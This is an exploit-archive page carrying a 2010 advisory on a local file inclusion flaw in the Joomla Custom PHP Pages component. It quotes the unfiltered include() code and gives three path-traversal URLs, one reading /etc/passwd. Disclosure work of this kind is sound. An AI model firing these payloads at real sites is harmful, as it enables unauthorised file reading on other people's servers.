477bcbdcc0
5 new exploits phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerability Exploit phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerabilities My Book World Edition NAS Multiple Vulnerability My Book World Edition NAS - Multiple Vulnerabilities Katalog Stron Hurricane 1.3.5 - Multiple Vulnerability RFI / SQL Katalog Stron Hurricane 1.3.5 - (RFI / SQL) Multiple Vulnerabilities cmsfaethon-2.2.0-ultimate.7z Multiple Vulnerability cmsfaethon-2.2.0-ultimate.7z - Multiple Vulnerabilities DynPG CMS 4.1.0 - Multiple Vulnerability (popup.php and counter.php) DynPG CMS 4.1.0 - (popup.php and counter.php) Multiple Vulnerabilities Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerability Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerabilities N/X - Web CMS (N/X WCMS 4.5) Multiple Vulnerability N/X - Web CMS (N/X WCMS 4.5) - Multiple Vulnerabilities New-CMS - Multiple Vulnerability New-CMS - Multiple Vulnerabilities Edgephp Clickbank Affiliate Marketplace Script Multiple Vulnerability Edgephp Clickbank Affiliate Marketplace Script - Multiple Vulnerabilities JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerability JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerabilities i-Gallery - Multiple Vulnerability i-Gallery - Multiple Vulnerabilities My Kazaam Notes Management System Multiple Vulnerability My Kazaam Notes Management System - Multiple Vulnerabilities Omnidocs - Multiple Vulnerability Omnidocs - Multiple Vulnerabilities Web Cookbook Multiple Vulnerability Web Cookbook - Multiple Vulnerabilities KikChat - (LFI/RCE) Multiple Vulnerability KikChat - (LFI/RCE) Multiple Vulnerabilities Webformatique Reservation Manager - 'index.php' Cross-Site Scripting Vulnerability Webformatique Reservation Manager 2.4 - 'index.php' Cross-Site Scripting Vulnerability xEpan 1.0.4 - Multiple Vulnerability xEpan 1.0.4 - Multiple Vulnerabilities AKIPS Network Monitor 15.37 through 16.5 - OS Command Injection Netwrix Auditor 7.1.322.0 - ActiveX (sourceFile) Stack Buffer Overflow Cisco UCS Manager 2.1(1b) - Shellshock Exploit OpenSSH <= 7.2p1 - xauth Injection FreeBSD 10.2 amd64 Kernel - amd64_set_ldt Heap Overflow
66 lines
No EOL
1.9 KiB
Text
Executable file
66 lines
No EOL
1.9 KiB
Text
Executable file
Joomla Custom PHP Pages Component LFI Vulnerability
|
|
=====================================================
|
|
|
|
- Discovered by : Chip D3 Bi0s
|
|
- Email : chipdebios@gmail.com
|
|
- Date : 2010-05-11
|
|
- Where : From Remote
|
|
|
|
----------------------------------
|
|
Affected software description
|
|
|
|
Application : Joomla Custom PHP Pages Component
|
|
Developer : Gabe
|
|
Email : gabe@fijiwebdesign.com
|
|
Type : Non-Commercial
|
|
License : GPL
|
|
Date Added : 6 June 2008
|
|
Download : http://joomla-php.googlecode.com/files/com_php0.1alpha1-J15.tar.gz
|
|
|
|
|
|
I. BACKGROUND
|
|
|
|
Joomla PHP Pages Component allows you to create simple PHP pages
|
|
and link them to the Joomla Menu. This allows you to easily create
|
|
a custom page without having to create a whole component. It is
|
|
similar to the PHP Module for Joomla, except that it is a full Component.
|
|
|
|
II. DESCRIPTION
|
|
|
|
Some LFI vulnerabilities exist in Joomla Custom PHP Pages Component.
|
|
|
|
|
|
III. ANALYSIS
|
|
|
|
The bug is in the following files, specifying the lines
|
|
|
|
/components/com_php/php.php
|
|
|
|
[35] $filename = $Params->get('file', '');
|
|
[36] $path = JPATH_ROOT.'/components/com_php/files/'.$filename;
|
|
...
|
|
[47] // evaluate the PHP
|
|
[48] echo '<div class="php_page">';
|
|
[49] if (is_file($path)) {
|
|
[50] include($path);
|
|
[51] } else {
|
|
[52] echo '<span class="note">Please choose a File</span>';
|
|
|
|
Explaining the above lines:
|
|
According to the code that files are opened, but the code is not
|
|
shows no filtration, so we can move into
|
|
directories. According to several extensions can be observed as
|
|
.html, .jpg, .js, which is not true of all .php
|
|
|
|
|
|
|
|
IV. EXPLOITATION
|
|
|
|
http://127.0.0.1/index.php?option=com_php&file=../images/phplogo.jpg
|
|
http://127.0.0.1/index.php?option=com_php&file=../js/ie_pngfix.js
|
|
http://127.0.0.1/index.php?option=com_php&file=../../../../../../../../../../etc/passwd
|
|
|
|
|
|
+++++++++++++++++++++++++++++++++++++++
|
|
[!] Produced in South America
|
|
+++++++++++++++++++++++++++++++++++++++ |